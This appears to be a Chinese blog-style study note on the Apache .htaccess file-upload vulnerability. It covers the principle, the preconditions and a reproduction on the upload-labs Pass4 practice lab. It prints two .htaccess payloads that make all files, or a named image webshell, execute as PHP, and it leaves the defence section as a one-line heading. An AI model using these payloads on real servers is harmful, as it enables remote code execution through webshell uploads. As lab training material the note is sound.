| 写在前边漏洞学习三步走:1.了解漏洞原理
 2.知道漏洞形成条件,复现漏洞
 3.解决如何防范
 .htaccess上传漏洞.htaccess文件作用     概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目
   录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自
   定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、
   禁止目录列表、配置默认文档等功能。
     Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.
   htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess
   文件。
     笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户
   自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用
   户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为
   index文件等一些功能。
 漏洞原理利用上传到服务器上的.htaccess文件修改当前目录下的解析规则 形成条件1.php5.6以下不带nts的版本2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
 复现漏洞准备工作:burpsuite,图片马,.htaccess文件,upload-labs Pass4靶场。
 .htaccess文件写入内容:
 第一种:所有文件都会被解析成php代码执行
 <IfModule >
setHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule > 
 第二种:仅muma.jpg文件被解析PHP代码执行 <FilesMatch "muna.jpg">
setHandler application/x-httpd-php  
#或者AddHandler php5-script .gif          
#在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch> 
 先上传写好的.htaccess文件,再上传准备好的图片马muma.jpg访问:
 
  如何防范黑名单限制 |